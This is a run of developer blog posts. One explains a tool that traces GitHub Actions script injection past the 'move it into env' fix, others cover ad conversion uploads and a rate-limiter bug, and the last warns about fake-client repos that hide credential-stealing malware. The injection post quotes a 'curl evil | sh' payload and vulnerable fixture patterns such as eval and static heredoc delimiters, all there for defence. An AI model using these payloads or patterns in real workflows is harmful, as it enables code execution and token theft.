DEV Community: Vinicius Pereira

An injection that moved is not an injection that was fixed

Vinicius Pereira — Tue, 22 Sep 2026 23:52:15 +0000

Every guide to GitHub Actions script injection ends with the same fix. You have this:

- run: helper-cli --prompt "${{ github.event.comment.body }}"

and the runner expands the expression into the script before bash ever sees it, so a comment containing "; curl evil | sh; " runs on your runner with your token. The fix is to move the value into an environment variable:

- env:
    BODY: ${{ github.event.comment.body }}
  run: helper-cli --prompt "$BODY"

Now bash expands $BODY at runtime, as a value, and the quotes hold. Every scanner that looks for ${{ }} inside run: blocks stops reporting the line. The pull request gets merged with "fixed template injection" in the title.

I spent a day this month verifying one of those fixes by hand, for a finding I had reported and cannot name yet because it is still in coordinated disclosure. The maintainer's fix moved the value into env:, then passed it through with: into a composite action. The scanner was satisfied. I was not, because nothing about the move says what happens to the value next. So I followed it: env: in the workflow, with: into the action, env: again inside the action, a shell script that only delegates, a Node wrapper, and finally a spawn() call with shell: false and the value as one element of an argv array. Seven hops. At the end of hop seven the value is a value and the injection is dead.

It could just as easily have been alive. If the shell script had done eval "$HELPER_PROMPT", or the Node wrapper had done execSync(\helper-cli --prompt ${prompt}), the same fix would have shipped with the same commit title, and the same scanner would have stayed quiet.

That is the gap I wrote taint-trail to close.

What the existing scanner does, and where it stops

If you run one tool on your workflows, run zizmor. It audits for template injection, dangerous triggers, unpinned actions, cache poisoning, permissions and a long list of other things, and it is fast and well maintained. This is not a replacement for it.

zizmor's injection check works on the shape of the text: an untrusted expression inside a script is a finding. That check is exactly right for the "before" of every fix, and it is why the fix everyone applies is "get the expression out of the script". Once the expression is in env:, the shape is gone and the check has nothing to say. It does not follow the variable, because that was never its job.

taint-trail starts where that check ends. It keeps the classic run: check, so the "before" is still caught, and spends the rest of its effort on the "after".

What the after looks like

Same fixture as the real case, with invented names. Before the fix:

$ taint-trail tests/fixtures/workflows/direct_run_injection.yml
github.event.comment.body  [untrusted]  tests/fixtures/workflows/direct_run_injection.yml / job helper
  tests/fixtures/workflows/direct_run_injection.yml:11  run  (${{ github.event.comment.body }} interpolated into the script)
  SHELL: expression expanded into the shell script before it runs (the classic injection)

The fix that moved the value into env: and then did the one thing you must not do with it:

$ taint-trail tests/fixtures/workflows/moved_not_fixed.yml
github.event.comment.body  [untrusted]  tests/fixtures/workflows/moved_not_fixed.yml / job helper
  tests/fixtures/workflows/moved_not_fixed.yml:12  env BODY
  tests/fixtures/workflows/moved_not_fixed.yml:15  run  (eval "$BODY")
  SHELL: eval re-parses the value as shell

And the fix that actually worked, followed into the action it calls:

$ taint-trail --actions-dir tests/fixtures/actions tests/fixtures/workflows/moved_and_died.yml
github.event.comment.body  [untrusted]  tests/fixtures/workflows/moved_and_died.yml / job helper
  tests/fixtures/workflows/moved_and_died.yml:13  env BODY
  tests/fixtures/workflows/moved_and_died.yml:16  with prompt  (env.BODY -> example/helper-action@v1)
  tests/fixtures/actions/example/helper-action/v1/action.yml:4  inputs.prompt
  tests/fixtures/actions/example/helper-action/v1/action.yml:19  env HELPER_PROMPT  (inputs.prompt)
  tests/fixtures/actions/example/helper-action/v1/action.yml:21  run  (bash "$GITHUB_ACTION_PATH/scripts/run-helper.sh")
  tests/fixtures/actions/example/helper-action/v1/scripts/run-helper.sh:4  script run-helper.sh  (exec node "$DIR/../dist/index.js")
  tests/fixtures/actions/example/helper-action/v1/dist/index.js:4  process.env.HELPER_PROMPT
  DIES (heuristic): argv array via spawn( at tests/fixtures/actions/example/helper-action/v1/dist/index.js:7; no shell: true, no exec(, no execSync(

Every hop is a file and a line where the value changed hands. That format is not decoration. When I sent the maintainer my verification, what I sent was not "I think it is safe now". It was the list of hops with the line numbers, so they could read each one themselves. A verdict without the chain is an opinion. A verdict with the chain is a reading assignment.

Five endings, and one of them is "I do not know"

A chain ends in one of five ways:

SHELL: the value is re-parsed as code. The expression expanded into the script, or the variable reached eval, bash -c, source, xargs, a pipe into sh, an interpreter's -c/-e string, an interpreter's standard input, or the command position of a line. Exit 1.
SPOOF: the value is written to $GITHUB_OUTPUT or $GITHUB_ENV in a way that lets it add keys. More on this below. Exit 1.
SUSPECT (heuristic): a JavaScript action looks like it builds a command string with the value. Pattern match, not parsing, and the output says so.
DIES: the value ended as a value. Quoted into an argument, echoed, one element of an argv array, written to the output file under a random delimiter.
UNKNOWN: <reason>: the tool could not follow and refuses to guess.

The last one took the most discipline to keep. The temptation in a tool like this is to make UNKNOWN disappear, because a report full of UNKNOWNs feels like a tool that does not work. But the alternatives are worse. Marking an unreadable action as DIES is a lie that hides an injection; marking it as SHELL is a lie that trains people to ignore the tool. So UNKNOWN is a first-class verdict and the reason is always concrete: the action is not vendored locally, it is a docker action so the arguments reach an entrypoint the tool does not read, the JavaScript matched no pattern, the step's shell is pwsh or python, the heredoc delimiter could not be proven random, the file it would open resolves outside its root.

Take the composite action out of the local directory and the seven-hop chain above becomes:

  UNKNOWN: action example/helper-action@v1 not available locally (vendor it under --actions-dir as owner/repo/ref/action.yml, or run with --fetch)

It tells you where it stopped and what would let it continue. That is the whole contract.

The spoof nobody is looking for

The second verdict comes from a pattern that is everywhere in workflows, and no template check will ever flag it, because there is no template in it:

- id: parse
  env:
    BODY: ${{ github.event.issue.body }}
  run: |
    {
      echo "body<<EOF"
      echo "$BODY"
      echo "EOF"
    } >> "$GITHUB_OUTPUT"

There is no expression in the script. The variable is only echoed. Every template-injection check passes. And an issue whose body contains a line that says EOF closes the heredoc early, so every line after it is parsed by the runner as a new key=value pair. The attacker now sets step outputs that the next step reads as ${{ steps.parse.outputs.anything }}, and if that next step interpolates one of those outputs into a run: block, the next step is the classic injection again, one hop later. The one-line form echo "body=$BODY" >> "$GITHUB_OUTPUT" has the same problem with a plain newline.

$ taint-trail tests/fixtures/workflows/spoof_static_delimiter.yml
github.event.issue.body  [untrusted]  tests/fixtures/workflows/spoof_static_delimiter.yml / job triage
  tests/fixtures/workflows/spoof_static_delimiter.yml:11  env BODY
  tests/fixtures/workflows/spoof_static_delimiter.yml:15  run  (echo "$BODY")
  SPOOF: written to $GITHUB_OUTPUT inside a heredoc block whose delimiter 'EOF' is static; a value containing that line closes the block early and the rest is parsed as new keys

The fix is the one GitHub documents, a delimiter the attacker cannot predict:

delimiter="$(openssl rand -hex 16)"
{
  echo "body<<${delimiter}"
  echo "$BODY"
  echo "${delimiter}"
} >> "$GITHUB_OUTPUT"

which the tool reports as DIES: written to $GITHUB_OUTPUT under a random heredoc delimiter. A delimiter built from $$ or the clock is not proven random, so that one ends as UNKNOWN rather than DIES, on purpose.

Recognising this block turned out to be most of the shell-matching work in the project. Bash lets you write that group forty different ways: one line, opening brace with content on the same line, closing brace on the last body line, nested in a subshell, after &&, inside an if, inside a for whose done carries the redirect, closing with a \ continuation. The test suite has 42 fixture layouts of the group and each one has to end in SPOOF. I found most of them the hard way, by attacking the matcher after each round and adding the shape that got through.

Outputs are tainted as a set, on purpose

There is one place where the tool deliberately over-reports, and I want to be explicit about it because it is a design choice, not a bug.

When a step has a tainted variable in its environment and its script writes to $GITHUB_OUTPUT, the tool taints every output of that step. It does not try to prove which keys the script wrote. Same for a JavaScript action that received a tainted input: every output it declares is tainted, and so is every output it did not declare, because core.setOutput can set a name the manifest never mentions.

Proving which output got the value would need a real dataflow analysis of bash and JavaScript, and a wrong answer there would be silent. Over-approximating means a few more chains to read and zero chains that were hidden. The hop says over-approximation so nobody mistakes it for a proof.

What it does not do

The README has a section called "Limits, stated plainly" and I will repeat the important ones here, because a security tool that does not state its limits is asking you to trust it, and I would rather you read it.

Bash is matched by pattern, not parsed. bash -c 'tool "$1"' _ "$VAR" is a safe idiom and the tool reports it as SHELL anyway, because it sees bash -c and the variable on the same line. Read the line the chain points at.

JavaScript is a heuristic, and every verdict from it carries the word. There is no dataflow analysis. A bundled action whose getInput('x') string survived bundling is matched; one that renamed it is UNKNOWN.

Docker actions are opaque. Reusable workflows are followed one level. Secrets are trusted by definition. The only untrusted source is a ${{ }} expression, so a value read inside github-script through context.payload starts no chain.

And a handful of shell shapes are simply not matched: command substitution in command position, set -- $V followed by "$@", awk with system(), eval reached through a variable. Every one of these has a fixture in the repository named gap_*.yml that pins the current behaviour, one fixture per line in that README section, and the suite pins the count. Adding a pattern means deleting a fixture and its line. That rule is what let me stop: the README promises exactly what the code does, no more.

Running it

pip install .
taint-trail .github/workflows
taint-trail .github/workflows --actions-dir ./vendored-actions --strict --json

One runtime dependency, PyYAML. No network unless you pass --fetch, which shallow-clones every missing owner/repo@ref into the actions directory once and then scans. Every file the tool opens is checked against a root after resolving symlinks, and the tests create real symlinks pointing outside to assert that the content never shows up in a hop. The CI runs the tool on its own workflows with --strict, then on two fixtures it must flag, asserting exit 1 with SHELL and SPOOF in the output. The second step is the one that matters: the first alone would pass for a tool that finds nothing.

If your fix for an injection was "move it into env", this tells you whether the job is now safe or just quieter.

The offline conversion importer you write today fails in the next ad account

Vinicius Pereira — Thu, 17 Sep 2026 16:29:16 +0000

Google's guide for importing offline conversions opens with a warning box that is very easy to scroll past:

Starting June 15, 2026, UploadClickConversion requests will fail if the developer token hasn't previously sent requests to upload offline conversions or enhanced conversions for leads.

And then it says what to do instead: use the Data Manager API.

Read the condition again, because the condition is the whole story. It is not about your code and it is not about the ad account. It is about history on the developer token. A token that has been uploading offline conversions for a year keeps working. A token issued for a new integration has no history at all, so identical code that has run fine for a year fails the first time it runs somewhere new.

That is the worst failure shape on offer. It passes everywhere it was tested and breaks at the next install, and the person who finds out is the next advertiser, not you. The replacement endpoint is POST https://datamanager.googleapis.com/v1/events:ingest, and it is a different request body, a different scope, a different error vocabulary and a different failure model from the Google Ads API call most sample code still shows.

So I built the bridge against that endpoint, plus the Meta Conversions API /events edge on the other side, and wrote down every place where the documentation left room to guess.

The loop, in one sentence

A CRM knows which deals closed and for how much. The ad platforms know which clicks they served. Almost nobody owns the piece in between, which is why "we closed forty deals in March and Google shows thirty-one" is such a common question and such a hard one to answer. This pattern shows up in a lot of advertising work, and the shape is always the same.

The package is called revenue-loop and it exists to make one sentence true: a conversion is uploaded exactly once, attributed to the campaign the lead actually came from, or it is quarantined with the reason named. It never invents an attribution identifier. 734 tests, one runtime dependency, and the whole suite runs offline in under a second.

Every number in that animation comes from python examples/loop_demo.py.

Now the part that has to be said plainly, because everything else depends on it. There is no ad account and no pixel behind this repository. No token was issued and no live call has been made. Both platforms ship as deterministic fakes that model their documented semantics: Google's fast-fail request model and its 2,000 event ceiling, Meta's 1,000 event ceiling, its 48 hour deduplication on event_id plus event_name, its seven day event_time rule that fails an entire request. The live adapters exist and their URLs, headers, encodings and error mapping are unit tested, but a run against a real account has not happened, and there is a RUNBOOK whose job is to turn it on honestly the day one exists.

That limit is what makes the rest checkable. Everything below is reproducible from a clone with no key.

The same customer, two hashes, both correct

Here is the part that costs money quietly. This is verbatim from the offline demo, which a test pins byte for byte so the README cannot drift:

raw email:      cloudy.sanfrancisco+shopping@gmail.com
google form:    cloudysanfrancisco@gmail.com   (gmail rules: dots and +suffix removed)
meta form:      cloudy.sanfrancisco+shopping@gmail.com   (lowercase and trim, nothing else)
google sha256:  223ebda6f6889b1494551ba902d9d381daf2f642bae055888e96343d53e9f9c4
meta sha256:    8dd4a9bf850242873c14976125edabc35096192b784626a5641a7d2de56e3c1e

That address is Google's own worked example. Its formatting guide requires, for gmail.com and googlemail.com only, removing every dot before the @ and the + with everything after it. Meta's customer information reference asks for whitespace removal and lowercasing and nothing else, and its own worked example is John_Smith@gmail.com becoming john_smith@gmail.com: a Google-operated domain keeping a local part the Google rules would have changed.

One shared normalise_email is therefore wrong for at least one destination on every gmail address you own. And the wrongness is silent. The upload succeeds, the event is received, the conversion is simply never matched to anybody. Google says it in as many words, warning that skipping those rules "will result in different hash values than Google expects for these domains, leading to missed matches". Nothing raises. The campaign just looks worse than it is.

The divergence keeps going in smaller places. Google keeps the hyphen in a family name, Meta strips punctuation. Google wants E.164 with the +, Meta wants digits only. So the package normalises twice, once per dialect, and six hashes in the suite are Meta's own published vectors, input and expected digest both, reproduced exactly. Google's guide publishes normalised forms rather than digests, so its three worked examples are pinned at that level. Two of those vectors are non-ASCII, which matters more than it looks: an implementation that strips non-ASCII "to be safe" produces a wrong hash for both and loses every non-English customer in the account.

Where the documentation is silent, the silence is named instead of filled. The biggest one is which Unicode case operation "lowercase" means. Both vendors write "convert to lowercase", and str.lower and str.casefold disagree on real input, since casefold maps ß onto ss, which is a transliteration. This uses str.lower and a test pins it, because a well-meaning refactor to casefold would change every hash in the system without turning anything red. I have paid for the casefold version of this lesson in production once already.

The bug that lied about the reason

This one was found in a skeptical review pass before publishing, and it is the best thing in the repository.

The upload store is written only after a destination confirms. That asymmetry is deliberate: recording an upload that did not happen loses a conversion silently and forever, while recording nothing for an upload that did happen costs one duplicate request that the deterministic key makes harmless.

But a store that is written after the send is not consulted usefully during the send. A CRM that fires its webhook on every field change delivers the same won deal twice in one run. Both copies asked the store whether this key had already gone up, both got no, and both travelled in the same request. The batch landed. Two rows for one conversion.

Nothing errors. The damage arrives later, through the restatement path:

uploaded_total = _total_uploaded(history)        # 4820 + 4820 = 9640
delta = restatement.new_value - uploaded_total   # 5200 - 9640 = -4440

A salesperson upsells the deal from 4,820 to 5,200. The history says 9,640 was uploaded. So an honest increase reads as a drop of 4,440, and a drop has no documented path on either API, so the loop quarantines it with negative_adjustment_unsupported and a message explaining that the value went down.

The real revenue never reaches the platform, and the reason in the audit trail is false. A person reading that quarantine goes looking for a refund that does not exist. It gets worse under the durable store the RUNBOOK tells you to use, where a unique index on (account_ref, destination, key) turns the second write into an IntegrityError that takes the run down.

The fix is one line of doctrine: the key has to hold in two places, the store and the batch.

batch = pending.setdefault((account.account_ref, destination), [])
if any(item.key == ready.key for item in batch):
    # already in this batch: record it, send nothing
    ...
    continue
batch.append(ready)

Plus dict.fromkeys(outcome.accepted) on the way back, so one accepted key writes one row whatever the destination echoes. Two tests pin it, and I checked both by stashing the fix and watching them fail: test_the_same_deal_twice_in_one_run_uploads_once and test_an_upsell_after_a_duplicated_delivery_still_adds_the_difference.

The general shape is worth carrying out of this repo. A uniqueness rule enforced at the point of persistence is not enforced at all while there is an unpersisted buffer in front of it. Queues, batchers, in-flight maps and request bodies are all that buffer.

What it refuses to guess

The short version of the doctrine, each line an executable test:

{{gclid}}, undefined and N/A are not identifiers. A template that never rendered uploads a conversion that counts, attributes to nothing, and leaves the diagnostics report looking healthy.
Geography alone is not an identifier either. sha256("us") is the same value for every customer in the country. Meta accepts it. It matches nobody, so the gate stops at person-level signals.
A short count from Meta is ambiguous, not partial success. The documented body is a count with no list of which events it refers to, so nothing is recorded as uploaded and the next run re-sends under the same event_id.
One stale event takes a Meta batch with it. Past seven days the whole request errors, so 999 good conversions die for one bad row, which is why the window check happens locally before a request is spent.
A refund is quarantined naming ConversionAdjustmentUploadService, the Google Ads API service that documents restatements and retractions, which this package does not speak. No negative conversion value invented to approximate one.
Google's request reference and limits page both say 2,000 events per request while its TOO_MANY_EVENTS error reason says 10,000. This batches at 2,000 and writes the contradiction down rather than averaging it away.

What it does not tell you

The fakes are my model of the documentation, and a model is not a platform. Step 8 of the RUNBOOK exists because of the biggest gap: Meta documents deduplication on event_id plus event_name for 48 hours, and Google documents deduplication between a tag and the API, not between two ingestions of the same API. On the Google side the key is a hedge whose behaviour has to be confirmed once against a live account, deliberately, by sending the same conversion twice.

Google names an EVENT_TIME_INVALID error without publishing the window it applies, so the window here is configurable and unset by default rather than guessed. The default upload store is process-local memory, which is correct for the suite and gone the moment the process dies. And none of this reports anything: the platform's own reporting stays the only honest source for what the numbers are, because a second number is a second argument.

The code, the two dialects, the demo and both regression tests are in github.com/vinimabreu/revenue-loop, MIT, no network in the suite.

An uploaded conversion nobody can attribute is not measurement. It is a report that agrees with you.

Vinicius Pereira
vinimabreu.dev · github.com/vinimabreu

My rate limiter told callers to come back at a time it would refuse them

Vinicius Pereira — Sun, 13 Sep 2026 17:01:09 +0000

The gate said no, and it said when to come back.

HOLD   frequency_cap   retry_after 2026-09-15T12:00:00Z

So the caller came back at 12:00:00Z, and the gate said no, and it said to come back at 12:00:00Z.

Nobody was in an infinite loop in production, because this was a test suite and the package had not shipped yet. But the shape of it is the thing I want to write about, because I have written rate limiting more than once and I had never tested the part that broke.

The package, briefly

I was building a decision service for follow-up sequences. The idea is small: your n8n or Make scenario already knows how to send a message, so this is the thing it asks first. It answers SEND, SKIP, HOLD, STOP or ESCALATE, with a reason and the evidence it read.

Four acts: the case, a signal that lands between steps, the same step asked twice after a restart, and a quiet window read on the contact's clock.

One of the rules it enforces is a frequency cap. At most N messages on a channel per contact inside a sliding window, counted across every sequence that contact is in, because two campaigns that each respect their own limit still add up to two messages for the person receiving them.

The cap is about eleven lines. Here is the shape of it.

for cap in sequence.caps:
    if cap.channel is not step.channel:
        continue
    since = now - cap.window
    sends = ledger.sends_for_contact(case.contact_id, cap.channel, since)
    if len(sends) < cap.limit:
        continue
    oldest = min(s.decided_at for s in sends)
    return Hold(
        reason=FREQUENCY_CAP,
        retry_after=oldest + cap.window,
    )

Read it again and it still looks right. One send at 12:00 on Monday, a cap of one per day, so the window clears at 12:00 on Tuesday. That is exactly what oldest + cap.window says.

The other half, in another file

The ledger decides what counts as inside the window.

def sends_for_contact(self, contact_id, channel, since):
    return [
        r for r in self._records
        if r.contact_id == contact_id
        and r.channel is channel
        and r.decided_at >= since          # <- here
        and r.status != "failed"
    ]

>=.

At 12:00 on Tuesday, since is 12:00 on Monday. The Monday send has decided_at == since. Monday is greater than or equal to Monday, so the send is still in the window, so the count is still one, so the cap still holds, so the gate computes oldest + window again and returns the same instant it just refused.

The two pieces of code were written twenty minutes apart, in two files, and each one is defensible alone. The interval is closed at the bottom in one and treated as open at the bottom in the other. A window that includes its own lower boundary can never be escaped by waiting exactly one window.

The whole bug in one line: the instant the refusal points at is the instant the rule still refuses.

Why the suite did not catch it

This is the part I actually want to talk about, because the test that should have caught it was already there. Here it is as I first wrote it:

def test_the_cap_holds_the_second_send_inside_the_window():
    harness.send_and_confirm("s1")
    harness.clock.advance(timedelta(hours=1))

    verdict = harness.decide("s2")
    assert verdict.kind is VerdictKind.HOLD
    assert verdict.reason is Reason.FREQUENCY_CAP

Green. It asserts that the cap refuses. It says nothing at all about the instruction attached to the refusal.

And that is how almost every rate limiter I have read is tested. There is a test for "it lets the first one through", a test for "it blocks the second one", and usually a test for "after enough time it lets another through", written with a comfortable margin: advance a day and an hour, or a day and a minute, and assert SEND. Mine had that one too. timedelta(days=1, minutes=1) passed happily, because a minute past the boundary is not the boundary.

The margin is what hides it. Nobody tests the boundary, because the boundary feels like an off-by-one you would notice, and because advancing time by a convenient amount is what a person types when the point of the test is something else.

The test that catches it

The fix in the test is not more assertions about the hold. It is to obey the hold.

def test_the_hold_says_exactly_when_the_window_clears():
    harness.send_and_confirm("s1")
    harness.clock.advance(timedelta(hours=1))
    held = harness.decide("s2")

    assert held.retry_after == T0 + timedelta(days=1)

    harness.clock.set(held.retry_after)          # do exactly what it told me
    assert harness.decide("s2").kind is VerdictKind.SEND

Set the clock to the value the system handed back. Not a second later. Not a comfortable minute later. The exact instant, taken from the response rather than typed by hand.

That test fails on the original code, and the failure message is the whole story: HOLD frequency_cap where a SEND was expected, at the timestamp the system itself chose.

The fix was one character. >= became >, with a comment explaining why the interval is half open, and the boundary test pinned it.

# Strictly after: at exactly `since` the send has aged out of the window.
# With >= here, retry_after (oldest + window) lands on an instant that is
# still capped, and a caller that obeys it gets held again, forever.
if r.decided_at > since and r.status != "failed":

The general version

When a gate refuses and returns a retry time, it has made a promise, and the promise is written in a different place from the rule that produced it. Nothing in the type system, and nothing in a normal test suite, forces those two places to agree.

So the class of bug is not "off by one in a comparison". It is an output that no test treats as an input. retry_after goes out to the caller and comes back as the caller's behaviour, and if your suite never closes that loop, the value is decorative.

The practice I took from it is short: for any value your system returns as advice, write the test that follows the advice. Retry after. Next page cursor. Suggested chunk size. The Location header on a 202. Each of those is a round trip through your own API, and each of them is usually asserted for shape and never for effect.

It generalises past time, too. A paginator that returns a cursor and a rate limiter that returns a delay are the same thing: a machine that refuses now and describes the conditions under which it will not refuse. If you never feed the description back in, the description is a comment.

While I was there

The same suite caught a second, quieter version of the same theme.

The service returns a reason on every verdict, from a fixed vocabulary, and the reason string goes into the audit log. So I wrote a test that reads the engine source and asserts that every member of the enum is actually produced somewhere.

def test_every_reason_is_reachable_from_a_verdict_kind():
    documented = {r.value for r in Reason}
    engine = (SRC / "engine.py").read_text()
    unused = {r for r in documented if f"Reason.{r.upper()}" not in engine}
    assert not unused, f"reasons never produced by the engine: {sorted(unused)}"

It failed immediately on sequence_exhausted. I had declared a reason for "every step of this sequence is settled" and never written the code that could return it. A caller reading my enum would have built a branch for a verdict that could not arrive.

That one was not a fix, it was a missing feature: nothing in the service answered "the sequence is over", which is exactly what a cron loop needs to know to stop asking. It is why the package now has an advance(case_id) call at all.

Dead vocabulary in a public enum is a small lie about your contract. A test can notice it, and the test is six lines.

The repo

The package is sequence-gate, MIT, Python, no network and no sleeps in the suite. It ships three deliberately wrong implementations alongside the right ones, and the tests run them and watch them fail: a stop check that runs after the send, a ledger keyed on the provider's message id that double-sends after a replay, and quiet hours evaluated on the server's clock that texts someone in Kolkata at 03:12.

Both bugs in this post are in the README, in a section called "bugs found while building it", which I think is the most useful section a repository like that can have.

If you keep one line from this: the timestamp your system returns is not documentation, it is an instruction, and something should be executing it.

Vinicius Pereira
vinimabreu.dev · github.com/vinimabreu

Before you give: hear what a nonprofit's tax filings say, and what they can't

Vinicius Pereira — Sun, 06 Sep 2026 10:59:31 +0000

This is a submission for Weekend Challenge: Generosity Edition

What I Built

Type the name of a US nonprofit and hear, in a minute or two, what its public tax filings say: how much money moved, whether it spent more than it took in, how many months of reserves it holds, where the money comes from, and how that moved over the last decade. Then, in the same breath, what those filings can't tell you.

There's no score. That was the whole design decision.

Every charity rating site ends in a number, and the number has to weigh things the filing doesn't measure. A Form 990 records what came in and what went out. It doesn't record whether the work is any good, whether the reserves are locked to a purpose, or what happened after the fiscal year closed. A score built on it is a guess wearing a number, and a donor who trusts the number is trusting the guess.

So the unit here isn't a score. It's a fact with a limit attached:

Reserves about 12 months
Net assets of $3 billion would cover about 12 months of spending at the current pace.
limit: Net assets include buildings, equipment and gifts restricted to a purpose,
so the part it could actually spend is smaller. Treat this as an upper bound.

The limit is a required field. The code can't produce a fact without one.

The generosity angle is simple: give better. Most of us donate on impulse or on a friend's word. This gives you one minute of what's actually on file, in words you can take in on the way to deciding, and it's free, keeps no account, and rates nobody.

Demo

Live: https://before-you-give.vercel.app

Try "American Red Cross", then "Doctors Without Borders", then a small food pantry in your state. The three feel completely different once you hear them.

The voice runs on a spending cap I set for the weekend. If it tells you the budget is used up, the full narration is written out under "Read the narration" and everything else still works.

Code

vinimabreu / before-you-give

Hear what a nonprofit's public tax filings say before you donate. No score, no guessing.

before-you-give

Type the name of a US nonprofit and hear, in a minute or two, what its public tax filings say: how much money moved, whether it spent more than it took in, how many months of reserves it holds, where the money comes from, and how that has moved over a decade. Then, in the same breath, what those filings cannot tell you.

No score. No ranking. No language model writing the numbers.

Live: https://before-you-give.vercel.app

A real session on the live site: search, pick the organization, listen, follow the narration, scroll to the chart. The same clip as an MP4: assets/demo.mp4.

Screens

Landing	Reading

Year by year	Phone

Why there is no score

Every charity rating site ends in a number, and the number has to weigh things the filing does not measure. A Form 990 records what an organization took in and what it spent. It does…

View on GitHub

MIT. Python, FastAPI, one HTML page with no build step. 82 tests that run offline against real API responses, no key needed.

How I Built It

Data first, code second. Every number comes unchanged from the ProPublica Nonprofit Explorer API, which republishes IRS Form 990 extracts. Before writing any logic I pulled six real organizations and saved the responses as fixtures: a big 990 filer with 13 years of history, a private foundation (990-PF) that reports the same lines under different names, a food pantry on the short 990-EZ form, another on the full form, and one organization with no filings at all. The code was shaped by what the feed actually returns, not by what I assumed it would. Every field is optional and every fact only exists if its inputs do.

Facts with limits. reading.py is the whole arithmetic. A Fact has a display value, a plain sentence, the same sentence written for a voice, and a limit. The limit is what stops the page from lying by layout. When the feed doesn't carry the program / admin / fundraising split (it's on the filing PDF, not in the API), the page says so instead of pretending. When an organization has no numbers, the page explains that small organizations file a postcard and churches don't have to file at all, because absence of data is not a warning sign and a blank page would imply it is.

Two renderings of every number. $3.2 billion for the eye, 3.2 billion dollars for the voice. A text to speech engine reads $3.2B five different ways and none of them is what a listener wants. There's a test that walks every narration and asserts there is no $ and no % anywhere in it.

The narration is templates, not a language model. The script is assembled from the facts by plain string code, so it can't drift from the data even a little. It ends with the source line every time.

ElevenLabs, with the guardrails written before the first paid call. The narration renders with eleven_turbo_v2_5. Two rules sit in front of it:

cache by text: the mp3 is stored by the hash of the script, so the same organization never costs twice;
a hard cap on calls and characters, checked before every request. Past the cap the server answers 429 and keeps serving what's already cached. A small per-address limiter sits in front of that.

Without a key the app runs text-only and says so on the page. Nothing else changes.

On the voice itself: I spent part of this week tuning ElevenLabs settings on a different project, and the lesson carried over. The voice you pick matters less than stability and style. Defaults sound fast and flat; too much style and it starts oscillating between moods mid-sentence. For narration I landed on stability 0.6, style 0.2, speed 0.95, and it reads a balance sheet like a calm person, which is the point.

What the data told me that I didn't expect. The American Red Cross's fundraising events lost money in fiscal 2023: $3.1 million in, $4 million to run. My first version printed "kept -27%", which is true and useless. Now it says the events cost more than they raised, and the limit line notes that events often exist to build a community as much as to raise money. Also: a $3 billion organization holding about 12 months of reserves, and Doctors Without Borders USA running an $89 million deficit with 4 months of reserves and 97% of revenue from donations. None of that is a verdict. It's what's on file, and now you can hear it.

What I didn't build. No scraping of the filing PDFs for the expense split, no score, no "recommended" list. A weekend is enough to be honest about a data feed; it isn't enough to be right about a cause.

Prize Categories

Best use of ElevenLabs. The voice isn't decoration here, it's the accessibility layer. The people this is for are not the people who read walls of numbers. Every figure is formatted for speech, the script is deterministic so the audio can't say something the page doesn't show, and the cache and cap are what make it responsible to leave a public demo running on a personal key.

If you try it on a nonprofit you care about and the page gets something wrong, open an issue. The numbers are ProPublica's; the sentences are mine, and I'd rather fix a sentence than defend it.

A fake client sent me a GitHub repo. Running it cost me two days and every password I had.

Vinicius Pereira — Thu, 27 Aug 2026 18:45:33 +0000

This week a client on a freelancer platform sent me a repo and asked me to run it. I ran it. Two days later I had rotated every credential I own and wiped my machine.

I want to walk through exactly how it works, because it is not one clever trick, it is a whole family of them, and they are all aimed at us specifically. The people building these know that a developer will clone a repo and type npm run dev without thinking, the same way you would open a door for someone holding coffee. That reflex is the exploit.

How the main one works

The setup looks like a real job. A "client" posts something senior and well paid: a senior AI engineer role, a big fixed budget. They message you fast and warm. Then they share a GitHub repo. In my case it was an AI companion game, and it was genuinely well architected, clean separation, sensible structure, the kind of code that lowers your guard on purpose. They ask you to run it locally and send a screenshot proving it works, before any contract exists.

The malware was in postcss.config.js. Not in an obvious place, in a config file nobody reads, sitting on the same line as the real config behind a long run of spaces so it scrolls off the screen. It was obfuscated with fromCharCode so even if you looked you would see noise, not a URL. It fires the moment you run the dev server.

When it fires, it beacons out to a command-and-control server, pulls down a second stage, and goes straight for the browser. On a Mac it tries to read the "Chrome Safe Storage" key out of the keychain, which is the key that decrypts every password and cookie Chrome has saved. One keychain prompt, and if you approve it, the whole vault leaves the machine. To make the C2 hard to block, the address was not hardcoded, it was resolved through a dead-drop on the Ethereum blockchain, so a takedown or a blocklist does nothing.

This family has names if you want to read more: Contagious Interview, BeaverTail, InvisibleFerret. It is run at scale and it targets developers through job offers, on purpose, because our machines hold SSH keys, cloud credentials, and source access.

The part that actually scared me came that night. I found that it had not just run and exited. It had rewritten main.js inside VS Code, cli.js inside npm, and index.js inside Discord, three Electron apps whose code is plain editable JavaScript on disk. The npm one went from 407 bytes to 1.7 MB. Every time I opened any of those apps, or ran any npm command, it respawned the password stealer and a clipboard monitor. A reboot does nothing against that. "No LaunchAgent, no cron" is not the same as "no persistence."

The other flavors

The repo trick is the loud one. There are quieter versions arriving the same week, and I have watched every one of these land in my own feed in the last few days.

The malicious attachment. The job post has a .zip or .rar attached, labeled something like "requirements" or "project brief." Inside, a couple of harmless PNGs as decoy and one .vbs or .bat file. That script downloads the real payload from a hacked WordPress site and runs it. On a Mac a .vbs will not execute, but the file still travels, and if you also use Windows it will fire there.

The compromised real account. You check the client and it looks fine. Payment verified, phone verified, a five-star review, spending history, an account from years ago. Then it sends you a repo or an attachment with malware in it. Old, legitimate accounts get taken over and used as bait precisely because they pass the naive filter. Judge the message and the attachment, never the profile badge.

The off-platform pull. A warm reply to your proposal asking for your email so they can send the "official interview invitation," and often a tip to write your email with spaces so the platform's filter does not catch it. No real client ever coaches you to defeat the contact filter. That instruction alone is the whole answer.

The pay-to-test scam. A tester or QA role that, once you accept, needs you to fund a crypto wallet or a subscription "for payment testing, reimbursed separately." Crypto is irreversible and the reimbursement never comes. Real payment testing uses sandbox keys, never your own money.

Why the usual signals fail you here

The instinct is to trust the platform's checkmarks. Payment verified, top rated, high spend. Those tell you the account can pay and has a history. They tell you nothing about whether the file in front of you is safe, and they are exactly what a hijacked account still shows. The verification protects you against not getting paid. It does not protect you against running code.

The payment model itself kills the excuse. These platforms already hold the client's money and release it only when they approve your work, so a nervous client never needs to watch your machine run their project first. When someone insists you run their code and screenshot it before there is any contract at all, that is not caution and it is not a technical test. There is no legitimate reason for it. It is the attack.

The rules I follow now, no exceptions

Never run a stranger's code. Not a repo, not a script, not a notebook, not a "quick test task." Reading it is fine. Running it is the line, and it does not move for a good story or a big budget.
